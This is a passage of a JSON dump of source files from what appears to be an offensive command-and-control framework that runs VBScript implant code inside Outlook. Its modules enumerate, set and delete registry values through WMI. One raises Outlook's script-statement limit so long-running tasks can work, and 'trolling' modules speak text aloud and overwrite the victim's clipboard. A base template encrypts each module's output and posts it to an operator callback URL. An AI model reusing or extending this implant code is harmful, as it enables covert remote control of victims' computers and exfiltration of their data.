\"handler\": quotedstring,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"STDREGPROV\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"STDREGPROV\"]}\n        }\n        super().__init__(templatepath)\n\n    def preprocess(self, agent):\n        #Convert input to correct Integer needed for vbscript\n        # https://docs.microsoft.com/en-us/previous-versions/windows/desktop/regprov/enumvalues-method-in-class-stdregprov\n        if self.options['Root']['value'] == \"HKCR\":\n            if self.options['WMIOperation']['value'] == \"STDREGPROV\":\n                self.options['RootInteger']['value'] = \"2147483648\"\n        if self.options['Root']['value'] == \"HKCU\":\n            if self.options['WMIOperation']['value'] == \"STDREGPROV\":\n                self.options['RootInteger']['value'] = \"2147483649\"\n        if self.options['Root']['value'] == \"HKLM\":\n            if self.options['WMIOperation']['value'] == \"STDREGPROV\":\n                self.options['RootInteger']['value'] = \"2147483650\"            \n        if self.options['Root']['value'] == \"HKU\":\n            if self.options['WMIOperation']['value'] == \"STDREGPROV\":\n                self.options['RootInteger']['value'] = \"2147483651\"          \n        if self.options['Root']['value'] == \"HKCC\":\n            if self.options['WMIOperation']['value'] == \"STDREGPROV\":\n                self.options['RootInteger']['value'] = \"2147483653\"      "
  },
  {
    "path": "functions/operation/registry/getallvaluesregistry.txt",
    "content": "Function GetAllValuesRegistry()\r\n\tOn Error Resume Next\r\n\tGetAllValuesRegistry = Getallregvalues({{Root}}, {{PathToKey}}, {{Arch}}, {{RootInteger}})\r\nEnd Function\r\n"
  },
  {
    "path": "functions/operation/registry/getvalueregistry.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring,makeint\nfrom lib.tab_completers.generic import tab_choice\nfrom lib.validators.generic import ischoice\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module gets values from the registry in the hive, path and value specified with the options. \n        !!An important thing to remember is that Outlook is in most cases running as a 32 bit application, meaning that\n        when you query HKLM\\Software you are basically querying HKLM\\Software\\Wow6432Node since that is how the \n        32 64 bit redirection works!! Specify Arch 64 to avoid the redirection\n\n        It uses WbemScripting.SWbemNamedValueSet\n        - Add.__ProviderArchitecture\n\n        It uses WbemScripting.SWbemLocator\n        ConnectServer(root\\cimv2)\n        ConnectServer(root\\cimv2).EnumValues\n        ConnectServer(root\\cimv2).GetStringValue\n        ConnectServer(root\\cimv2).GetExpandedStringValue\n        ConnectServer(root\\cimv2).GetBinaryValue\n        ConnectServer(root\\cimv2).GetDWORDValue\n        ConnectServer(root\\cimv2).GetMultiStringValue\n        ConnectServer(root\\cimv2).GetQWORDValue\n        \"\"\"\n        self.entry = 'GetValueRegistry'\n        self.depends = ['./helperFunctions/Getregvalue.txt']\n        self.options['Root'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Root registry to query\",\n            \"handler\": quotedstring,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"HKCU\", \"HKLM\", \"HKCR\", \"HKU\", \"HKCC\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"HKCU\", \"HKLM\", \"HKCR\", \"HKU\", \"HKCC\"]}\n        }\n        self.options['PathToKey'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Path to the key - Example: Software\\\\Microsoft\\\\Active Setup\",\n            \"handler\": quotedstring\n        }\n        self.options['ValueName'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"\"\"\n            Value to get - Example: JITSetupPage\n            If you want to get the @ value you specify \\\"\\\"\"\"\",\n            \"handler\": quotedstring\n        }\n        self.options['Arch'] = {\n            \"value\": 64,\n            \"required\": True,\n            \"description\": \"Architecture to query. Outlook is often 32 bit process and gets redirected to WOW6432Node, change to 64 to alter behaviour\",\n            \"handler\": makeint,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"32\", \"64\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"32\", \"64\"]}\n        }\n        self.options['RootInteger'] = {\n            \"value\": None,\n            \"required\": False,\n            \"description\": \"Root registry in INT format\",\n            \"handler\": makeint,\n            \"hidden\": True\n        }\n        self.options['WMIOperation'] = {\n            \"value\": \"STDREGPROV\",\n            \"required\": True,\n            \"description\": \"Type of WMI Query method (MSI, STDREGPROV)\",\n            \"handler\": quotedstring,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"MSI\", \"STDREGPROV\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"MSI\", \"STDREGPROV\"]}\n        }\n        super().__init__(templatepath)\n\n    def preprocess(self, agent):\n        #Convert input to correct Integer needed for vbscript\n        # https://docs.microsoft.com/en-us/previous-versions/windows/desktop/regprov/enumvalues-method-in-class-stdregprov\n        # https://docs.microsoft.com/en-us/windows/win32/msi/installer-registryvalue\n        if self.options['Root']['value'] == \"HKCR\":\n            if self.options['WMIOperation']['value'] == \"MSI\":\n                self.options['RootInteger']['value'] = \"0\"\n            if self.options['WMIOperation']['value'] == \"STDREGPROV\":\n                self.options['RootInteger']['value'] = \"2147483648\"\n        if self.options['Root']['value'] == \"HKCU\":\n            if self.options['WMIOperation']['value'] == \"MSI\":\n                self.options['RootInteger']['value'] = \"1\"\n            if self.options['WMIOperation']['value'] == \"STDREGPROV\":\n                self.options['RootInteger']['value'] = \"2147483649\"\n        if self.options['Root']['value'] == \"HKLM\":\n            if self.options['WMIOperation']['value'] == \"MSI\":\n                self.options['RootInteger']['value'] = \"2\"\n            if self.options['WMIOperation']['value'] == \"STDREGPROV\":\n                self.options['RootInteger']['value'] = \"2147483650\"            \n        if self.options['Root']['value'] == \"HKU\":\n            if self.options['WMIOperation']['value'] == \"MSI\":\n                self.options['RootInteger']['value'] = \"3\"\n            if self.options['WMIOperation']['value'] == \"STDREGPROV\":\n                self.options['RootInteger']['value'] = \"2147483651\"          \n        if self.options['Root']['value'] == \"HKCC\":\n            if self.options['WMIOperation']['value'] == \"MSI\":\n                self.options['RootInteger']['value'] = \"5\"\n            if self.options['WMIOperation']['value'] == \"STDREGPROV\":\n                self.options['RootInteger']['value'] = \"2147483653\"      "
  },
  {
    "path": "functions/operation/registry/getvalueregistry.txt",
    "content": "Function GetValueRegistry()\r\n\tOn Error Resume Next\r\n\tGetValueRegistry = GetRegValue({{Root}}, {{PathToKey}}, {{ValueName}}, {{Arch}}, {{RootInteger}}, {{WMIOperation}})\r\nEnd Function\r\n"
  },
  {
    "path": "functions/operation/registry/setvaluehkcuregistry.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\nfrom lib.tab_completers.generic import tab_choice\nfrom lib.validators.generic import ischoice\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module sets values in the HKCU hive specified with the options. \n\n        It uses WbemScripting.SWbemNamedValueSet\n        - Add.__ProviderArchitecture\n\n        It uses WbemScripting.SWbemLocator\n        ConnectServer(root\\cimv2)\n        ConnectServer(root\\cimv2).CreateKey\n        ConnectServer(root\\cimv2).SetStringValue\n        ConnectServer(root\\cimv2).SetDWORDValue\n        \"\"\"\n        self.entry = 'SetValue_HKCU_Registry'\n        self.depends = ['./helperFunctions/Setregvalue_hkcu.txt']\n        self.options['PathToKey'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Path to reg key\",\n            \"handler\": quotedstring\n        }\n        self.options['RegType'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Reg key type\",\n            \"handler\": quotedstring,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"REG_SZ\", \"REG_DWORD\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"REG_SZ\", \"REG_DWORD\"]},\n        }\n        self.options['ValueName'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Name of value for entry\",\n            \"handler\": quotedstring\n        }\n        self.options['Value'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Value you want to set\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/operation/registry/setvaluehkcuregistry.txt",
    "content": "Function SetValue_HKCU_Registry()\r\n\tOn Error Resume Next\r\n\tSetValue_HKCU_Registry = SetRegValue_HKCU({{PathToKey}}, {{RegType}}, {{ValueName}}, {{Value}})\r\nEnd Function"
  },
  {
    "path": "functions/operation/specula/remove_allowlongscriptruntime.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\nimport uuid\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module removes the registry keys that allows long running scripts such as list_dir running recurse or service acl enumeration. \n\n        The following value gets removed with this module:\n        reg add \"HKCU\\Software\\Microsoft\\Internet Explorer\\Styles\" /v \"MaxScriptStatements\" /t REG_DWORD /d 0xFFFFFFFF /f\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - ConnectServer(root\\cimv2).DeleteValue\n        \"\"\"\n        self.entry = 'RemoveAllowLongScriptRuntime'\n        self.depends = ['./helperFunctions/Delregvalue_hkcu.txt']\n        \n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/operation/specula/remove_allowlongscriptruntime.txt",
    "content": "Function RemoveAllowLongScriptRuntime()\r\n\tOn error resume next\r\n\tte = DelRegValue_HKCU(\"Software\\Microsoft\\Internet Explorer\\Styles\", \"MaxScriptStatements\")\r\n\tRemoveAllowLongScriptRuntime = \"HKCU\\Software\\Microsoft\\Internet Explorer\\Styles\\MaxScriptStatements has been removed\"\r\nEnd Function"
  },
  {
    "path": "functions/operation/specula/set_allowlongscriptruntime.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\nimport uuid\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module sets necessary registry keys to allow long running scripts such as list_dir running recurse or service acl enumeration. \n\n        The following value changes the default timeout for scripts running in Outlook and is being set with this module:\n        reg add \"HKCU\\Software\\Microsoft\\Internet Explorer\\Styles\" /v \"MaxScriptStatements\" /t REG_DWORD /d 0xFFFFFFFF /f\n\n        ! After setting this key, Outlook needs to be restarted for it to take effect !\n\n        It uses WbemScripting.SWbemNamedValueSet\n        - Add.__ProviderArchitecture\n\n        It uses WbemScripting.SWbemLocator\n        ConnectServer(root\\cimv2)\n        ConnectServer(root\\cimv2).CreateKey\n        ConnectServer(root\\cimv2).SetDWORDValue\n        \"\"\"\n        self.entry = 'AllowLongScriptRuntime'\n        self.depends = ['./helperFunctions/Setregvalue_hkcu.txt']\n        \n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/operation/specula/set_allowlongscriptruntime.txt",
    "content": "Function AllowLongScriptRuntime()\r\n\tOn error resume next\r\n\tte = SetRegValue_HKCU(\"Software\\Microsoft\\Internet Explorer\\Styles\", \"REG_DWORD\", \"MaxScriptStatements\", \"4294967295\")\r\n\tAllowLongScriptRuntime = \"HKCU\\Software\\Microsoft\\Internet Explorer\\Styles\\MaxScriptStatements set to 0xffffffff to allow long script runtime - restart Outlook for it to take effect\"\r\nEnd Function"
  },
  {
    "path": "functions/trolling/play_voice.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import makeint, quotedstring\nfrom lib.tab_completers.generic import tab_choice\nfrom lib.validators.generic import ischoice\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This is a troll module, allows you to specify text as input and it will read it out loud on the speaker using sapi.spvoice \n\n        It uses sapi.spvoice\n        - Voice\n        - speak\n        \"\"\"\n        self.entry = 'play_voice'\n        self.depends = []\n        \n        self.options['speaktext'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Text you want to say on the computer\",\n            \"handler\": quotedstring\n        }\n        self.options['voicegender'] = {\n            \"value\": 0,\n            \"required\": True,\n            \"description\": \"0 == male, and 1 == female\",\n            \"handler\": makeint,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"0\", \"1\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"0\", \"1\"]}\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/trolling/play_voice.txt",
    "content": "Function play_voice()\r\n\tOn error resume next\r\n\tSet speech = window.external.OutlookApplication.CreateObject(\"sapi.spvoice\")\r\n\tSet speech.Voice = speech.GetVoices.Item({{voicegender}})\r\n\tspeech.speak{{speaktext}}\r\n\tplay_voice = \"Your speaktext was sent to the speaker as voice. Mohahaha\"\r\nEnd Function"
  },
  {
    "path": "functions/trolling/set_clipboard.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module allows you to specify text as input and it will add it to the clipboard\n\n        It uses htmlfile\n        - ParentWindow.ClipboardData.SetData()\n\n        \"\"\"\n        self.entry = 'set_clipboard'\n        self.depends = []\n        \n        self.options['clipboardtext'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Text you want to add to the clipboard\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/trolling/set_clipboard.txt",
    "content": "Function set_clipboard()\r\n\tOn error resume next\r\n\tSet html = window.external.OutlookApplication.CreateObject(\"htmlfile\")\r\n\ttext = html.ParentWindow.ClipboardData.SetData(\"text\", {{clipboardtext}})\r\n\tset_clipboard = \"Clipboard data set to: \" & {{clipboardtext}}\r\nEnd Function"
  },
  {
    "path": "helperFunctions/Delregkey_hkcu.txt",
    "content": "Function DelRegKey_HKCU(PathToKey)\r\n    On Error Resume Next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n    Set objreg = objLocator.ConnectServer(\".\", \"root\\cimv2\").Get(\"StdRegProv\")\r\n\r\n\tobjreg.EnumKey 2147483649, PathToKey, arrSubkeys\r\n\tIf IsArray(arrSubkeys) Then\r\n\t\tFor Each strSubkey In arrSubkeys\r\n\t\t\tDelRegKey_HKCU(PathToKey & \"\\\" & strSubkey)\r\n\t\tNext\r\n\tEnd If\r\n\tobjreg.DeleteKey 2147483649, PathToKey\r\n\tDelRegKey_HKCU = \"Regkey : HKCU\\\\\" & PathToKey & \" Deleted recursive\"\r\nEnd Function\r\n"
  },
  {
    "path": "helperFunctions/Delregvalue_hkcu.txt",
    "content": "Function DelRegValue_HKCU(PathToKey, ValueName)\r\n\tOn Error Resume Next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n    Set objreg = objLocator.ConnectServer(\".\", \"root\\cimv2\").Get(\"StdRegProv\")\r\n\tobjreg.DeleteValue 2147483649, PathToKey, ValueName\r\n\tDelRegValue_HKCU = ValueName & \" Deleted successfully under \" & PathToKey\r\nEnd Function"
  },
  {
    "path": "helperFunctions/Getallregkeys.txt",
    "content": "Function GetAllRegKeys(Root, Regpath, Arch, RootInt)\r\n\tOn Error Resume Next\r\n\tGetAllRegKeys = \"Failed to get values under \" & Root & \"\\\" & Regpath\r\n\tconst REG_SZ = 1\r\n\tconst REG_EXPAND_SZ = 2\r\n\tconst REG_BINARY = 3\r\n\tconst REG_DWORD = 4\r\n\tconst REG_MULTI_SZ = 7\r\n\tconst REG_QWORD = 11\r\n\tSet oCtx = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemNamedValueSet\")\r\n\toCtx.Add \"__ProviderArchitecture\", Arch\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objreg = objLocator.ConnectServer(\".\",\"root\\cimv2\",\"\",\"\",,,,oCtx).Get(\"StdRegProv\")\r\n\tobjreg.EnumKey RootInt, Regpath, arrKeys\r\n\tGetAllRegKeys = \"Listing keys under \" & Root & \"\\\" & Regpath & vbCrLf\r\n\tFor Each subkey in arrKeys\r\n\t\tGetAllRegKeys = GetAllRegKeys & Root & \"\\\" & Regpath & \"\\\" & subkey & vbCrLf\r\n\tNext\r\n\t\r\n\tGetAllRegKeys = GetAllRegKeys & \"-----------------------------------------\" & vbCrLf\r\nEnd Function\r\n"
  },
  {
    "path": "helperFunctions/Getallregvalues.txt",
    "content": "Function GetAllRegValues(Root, Regpath, Arch, Rootint)\r\n\tOn Error Resume Next\r\n\tGetAllRegValues = \"Failed to get values under \" & Root & \"\\\" & Regpath\r\n\tconst REG_SZ = 1\r\n\tconst REG_EXPAND_SZ = 2\r\n\tconst REG_BINARY = 3\r\n\tconst REG_DWORD = 4\r\n\tconst REG_MULTI_SZ = 7\r\n\tconst REG_QWORD = 11\r\n\tSet oCtx = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemNamedValueSet\")\r\n\toCtx.Add \"__ProviderArchitecture\", Arch\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objreg = objLocator.ConnectServer(\".\",\"root\\cimv2\",\"\",\"\",,,,oCtx).Get(\"StdRegProv\")\r\n\tobjreg.EnumValues RootInt, Regpath, arrValueNames, arrValueTypes\r\n\tGetAllRegValues = \"\" \r\n\tfor I=0 To UBound(arrValueNames)\r\n\t\tGetAllRegValues = GetAllRegValues & \"Path: \" & Root & \"\\\" & Regpath & vbCrLf \r\n\t\tGetAllRegValues = GetAllRegValues & \"ValueName: \" & arrValueNames(I) & vbCrLf\r\n\t\tSelect Case arrValueTypes(I)\r\n\t\t\tCase REG_SZ\r\n\t\t\t\tobjreg.GetStringValue RootInt, Regpath, arrValueNames(I), strValue\r\n\t\t\t\tGetAllRegValues = GetAllRegValues & \"RegType: REG_SZ\" & vbCrLf\r\n\t\t\t\tGetAllRegValues = GetAllRegValues & \"Value: \" & strValue & vbCrLf\r\n\t\t\tCase REG_EXPAND_SZ\r\n\t\t\t\tobjreg.GetExpandedStringValue RootInt, Regpath, arrValueNames(I), strValue\r\n\t\t\t\tGetAllRegValues = GetAllRegValues & \"RegType: REG_EXPAND_SZ\" & vbCrLf\r\n\t\t\t\tGetAllRegValues = GetAllRegValues & \"Value: \" & strValue & vbCrLf\r\n\t\t\tCase REG_BINARY\r\n\t\t\t\tobjreg.GetBinaryValue RootInt, Regpath, arrValueNames(I), strValue\r\n\t\t\t\tGetAllRegValues = GetAllRegValues & \"RegType: REG_BINARY\" & vbCrLf\r\n\t\t\t\tGetAllRegValues = GetAllRegValues & \"Value: Binary data not fetched\" & vbCrLf\r\n\t\t\tCase REG_DWORD\r\n\t\t\t\tobjreg.GetDWORDValue RootInt, Regpath, arrValueNames(I), strValue\r\n\t\t\t\tGetAllRegValues = GetAllRegValues & \"RegType: REG_DWORD\" & vbCrLf\r\n\t\t\t\tGetAllRegValues = GetAllRegValues & \"Value: \" & strValue & vbCrLf\r\n\t\t\tCase REG_MULTI_SZ\r\n\t\t\t\tobjreg.GetMultiStringValue RootInt, Regpath, arrValueNames(I), strValue\r\n\t\t\t\tGetAllRegValues = GetAllRegValues & \"RegType: REG_MULTI_SZ\" & vbCrLf\r\n\t\t\t\tGetAllRegValues = GetAllRegValues & \"Value: \" & strValue & vbCrLf\r\n\t\t\tCase REG_QWORD\r\n\t\t\t\tobjreg.GetQWORDValue RootInt, Regpath, arrValueNames(I), strValue\r\n\t\t\t\tGetAllRegValues = GetAllRegValues & \"RegType: REG_QWORD\" & vbCrLf\r\n\t\t\t\tGetAllRegValues = GetAllRegValues & \"Value: \" & strValue & vbCrLf\r\n\t\tEnd Select\r\n\t\tGetAllRegValues = GetAllRegValues & vbCrLf\r\n\tNext\r\n\tGetAllRegValues = GetAllRegValues & \"-----------------------------------------\" & vbCrLf\r\nEnd Function\r\n"
  },
  {
    "path": "helperFunctions/Getregvalue.txt",
    "content": "Function GetRegValue(Root, PathToKey, ValueName, Arch, RootInteger, WMIOperation)\r\n\tOn Error Resume Next\r\n\tGetRegValue = \"Failed to get value for \" & ValueName & \" under \" & Root & \"\\\" & PathToKey\r\n\t\r\n\tif WMIOperation = \"MSI\" Then\r\n\t\tDim objreg\r\n    \tSet objreg = window.external.OutlookApplication.CreateObject(\"WindowsInstaller.Installer\")\r\n    \tstrValue = objreg.RegistryValue(RootInteger, PathToKey, ValueName)\r\n\t\tGetRegValue = \"Path: \" & Root & \"\\\" & PathToKey & vbCrLf & \"RegType: N/A using MSI WMI method\" & vbCrLf & \"ValueName: \" & ValueName & vbCrLf & \"Value: \" & strValue\r\n\telseif WMIOperation = \"STDREGPROV\" Then\r\n\t\tconst REG_SZ = 1\r\n\t\tconst REG_EXPAND_SZ = 2\r\n\t\tconst REG_BINARY = 3\r\n\t\tconst REG_DWORD = 4\r\n\t\tconst REG_MULTI_SZ = 7\r\n\t\tconst REG_QWORD = 11\r\n\t\tSet oCtx = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemNamedValueSet\")\r\n\t    oCtx.Add \"__ProviderArchitecture\", Arch\r\n\t\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\t\tSet objreg = objLocator.ConnectServer(\".\",\"root\\cimv2\",\"\",\"\",,,,oCtx).Get(\"StdRegProv\")\r\n\t\tobjreg.EnumValues RootInteger, PathToKey, arrValueNames, arrValueTypes\r\n\t\tfor I=0 To UBound(arrValueNames)\r\n\t\t\tif UCase(arrValueNames(I)) = UCase(ValueName) Then\r\n\t\t\t\tSelect Case arrValueTypes(I)\r\n        \t\t\tCase REG_SZ\r\n            \t\t\tobjreg.GetStringValue RootInteger, PathToKey, ValueName, strValue\r\n\t\t\t\t\t\tGetRegValue = \"Path: \" & Root & \"\\\" & PathToKey & vbCrLf & \"RegType: REG_SZ\" & vbCrLf & \"ValueName: \" & ValueName & vbCrLf & \"Value: \" & strValue\r\n        \t\t\tCase REG_EXPAND_SZ\r\n\t\t\t\t\t\tobjreg.GetExpandedStringValue RootInteger, PathToKey, ValueName, strValue\r\n\t\t\t\t\t\tGetRegValue = \"Path: \" & Root & \"\\\" & PathToKey & vbCrLf & \"RegType: REG_EXPAND_SZ\" & vbCrLf & \"ValueName: \" & ValueName & vbCrLf & \"Value: \" & strValue\r\n        \t\t\tCase REG_BINARY\r\n            \t\t\tobjreg.GetBinaryValue RootInteger, PathToKey, ValueName, strValue\r\n\t\t\t\t\t\tGetRegValue = \"Path: \" & Root & \"\\\" & PathToKey & vbCrLf & \"RegType: REG_BINARY\" & vbCrLf & \"ValueName: \" & ValueName & vbCrLf & \"Value: \" & strValue\r\n        \t\t\tCase REG_DWORD\r\n            \t\t\tobjreg.GetDWORDValue RootInteger, PathToKey, ValueName, strValue\r\n\t\t\t\t\t    GetRegValue = \"Path: \" & Root & \"\\\" & PathToKey & vbCrLf & \"RegType: REG_DWORD\" & vbCrLf & \"ValueName: \" & ValueName & vbCrLf & \"Value: \" & strValue\r\n        \t\t\tCase REG_MULTI_SZ\r\n            \t\t\tobjreg.GetMultiStringValue RootInteger, PathToKey, ValueName, strValue\r\n\t\t\t\t\t    GetRegValue = \"Path: \" & Root & \"\\\" & PathToKey & vbCrLf & \"RegType: REG_MULTI_SZ\" & vbCrLf & \"ValueName: \" & ValueName & vbCrLf & \"Value: \" & strValue\t\t\t\t\t\t\r\n\t\t\t\t\tCase REG_QWORD\r\n            \t\t\tobjreg.GetQWORDValue RootInteger, PathToKey, ValueName, strValue\r\n\t\t\t\t\t    GetRegValue = \"Path: \" & Root & \"\\\" & PathToKey & vbCrLf & \"RegType: REG_QWORD\" & vbCrLf & \"ValueName: \" & ValueName & vbCrLf & \"Value: \" & strValue\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\tEnd Select\r\n\t\t\tEnd If\r\n\t\tNext\r\n\tEnd If \r\nEnd Function\r\n"
  },
  {
    "path": "helperFunctions/HexToBytes.txt",
    "content": "Function HexToBytes(HexString)' As Byte()\n    Dim Bytes()' As Byte\n    Dim HexPos' As Integer\n    Dim HexDigit' As Integer\n    Dim BytePos' As Integer\n    Dim Digits' As Integer\n\n    ReDim Bytes(Len(HexString) \\ 2)  'Initial estimate.\n    For HexPos = 1 To Len(HexString)\n        HexDigit = InStr(\"0123456789ABCDEF\", UCase(Mid(HexString, HexPos, 1))) - 1\n        If HexDigit >= 0 Then\n            If BytePos > UBound(Bytes) Then\n                'Add some room, we'll add room for 4 more to decrease\n                'how often we end up doing this expensive step:\n                ReDim Preserve Bytes(UBound(Bytes) + 4)\n            End If\n            Bytes(BytePos) = Bytes(BytePos) * &H10 + HexDigit\n            Digits = Digits + 1\n        End If\n        If Digits = 2 Or HexDigit < 0 Then\n            If Digits > 0 Then BytePos = BytePos + 1\n            Digits = 0\n        End If\n    Next\n    If Digits = 0 Then BytePos = BytePos - 1\n    If BytePos < 0 Then\n        Bytes = \"\" 'Empty.\n    Else\n        ReDim Preserve Bytes(BytePos)\n    End If\n\t'Wscript.Echo (Bytes))\n    HexToBytes = Bytes\nEnd Function\n\n\n"
  },
  {
    "path": "helperFunctions/Setregvalue_hkcu.txt",
    "content": "Function SetRegValue_HKCU(PathToKey, RegType, ValueName, Value)\r\n\tOn Error Resume Next\r\n\tSetRegValue_HKCU = \"TEST \" & PathToKey & \" \" & RegType & \" \" & ValueName & \" \" & Value\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n    Set objreg = objLocator.ConnectServer(\".\", \"root\\cimv2\").Get(\"StdRegProv\")\r\n    objreg.CreateKey 2147483649, PathToKey\r\n\tIf RegType = \"REG_SZ\" Then\r\n\t\tif ValueName = \"@\" Then\r\n\t\t    objreg.SetStringValue 2147483649, PathToKey, \"\", Value\r\n\t\t\tSetRegValue_HKCU = \"Value \" & PathToKey & \" \" & ValueName & \" Reg_Sz set to \" & Value\r\n\t\telse\r\n\t\t    objreg.SetStringValue 2147483649, PathToKey, ValueName, Value\r\n\t\t    SetRegValue_HKCU = \"Value \" & PathToKey & \" \" & ValueName & \" Reg_Sz set to \" & Value\r\n        end if\r\n\tElseIf RegType = \"REG_DWORD\" Then\r\n\t\tif ValueName = \"@\" Then\r\n\t\t    objreg.SetDWORDValue 2147483649, PathToKey, \"\", Value\r\n\t\t    SetRegValue_HKCU = \"Value \" & PathToKey & \" \" & ValueName & \" Reg_Dword set to \" & Value\r\n        else\r\n            objreg.SetDWORDValue 2147483649, PathToKey, ValueName, Value\r\n\t\t    SetRegValue_HKCU = \"Value \" & PathToKey & \" \" & ValueName & \" Reg_Dword set to \" & Value\r\n        End if\r\n\tElse\r\n\t\tSetRegValue_HKCU = RegType & \" Not implemented yet\"\r\n\tEnd If\r\nEnd Function"
  },
  {
    "path": "helperFunctions/base64.txt",
    "content": "Function Base64Encode(ByVal sText, ByVal fAsUtf16LE)\n\n    ' Use an aux. XML document with a Base64-encoded element.\n    ' Assigning the byte stream (array) returned by StrToBytes() to .NodeTypedValue\n    ' automatically performs Base64-encoding, whose result can then be accessed\n    ' as the element's text.\n    With CreateObject(\"Msxml2.DOMDocument\").CreateElement(\"aux\")\n        .DataType = \"bin.base64\"\n        if fAsUtf16LE then\n            .NodeTypedValue = StrToBytes(sText, \"utf-16le\", 2)\n        else\n            .NodeTypedValue = StrToBytes(sText, \"utf-8\", 3)\n        end if\n        Base64Encode = .Text\n    End With\n\nEnd Function\n\nfunction StrToBytes(ByVal sText, ByVal sTextEncoding, ByVal iBomByteCount)\n\n    ' Create a text string with the specified encoding and then\n    ' get its binary (byte array) representation.\n    With CreateObject(\"ADODB.Stream\")\n        ' Create a stream with the specified text encoding...\n        .Type = 2  ' adTypeText\n        .Charset = sTextEncoding\n        .Open\n        .WriteText sText\n        ' ... and convert it to a binary stream to get a byte-array\n        ' representation.\n        .Position = 0\n        .Type = 1  ' adTypeBinary\n        .Position = iBomByteCount ' skip the BOM\n        StrToBytes = .Read\n        .Close\n    End With\n\nend function"
  },
  {
    "path": "helperFunctions/base_template.txt",
    "content": "\nOhm = \"\"\nOhm = crypthelper({{ENTRY}}(), ay, True)\nrul = requestpage(\"{{ CALLBACKURL }}\", chr(34) & Ohm & chr(34))"
  },
  {
    "path": "helperFunctions/createstream.txt",
    "content": "Function CreateStream(hex_string)\n    Dim TEMPdec, TEMPstm\n\tSet TEMPstm = window.external.OutlookApplication.CreateObject(\"System.IO.MemoryStream\")\n    TEMPdec = HexToBytes(hex_string)\n\n    For Each i In TEMPdec\n        TEMPstm.WriteByte i\n    Next\n    TEMPstm.Position = 0\n\tSet CreateStream = TEMPstm\nEnd Function\n\n\n"
  },
  {
    "path": "helperFunctions/dir_creator.txt",
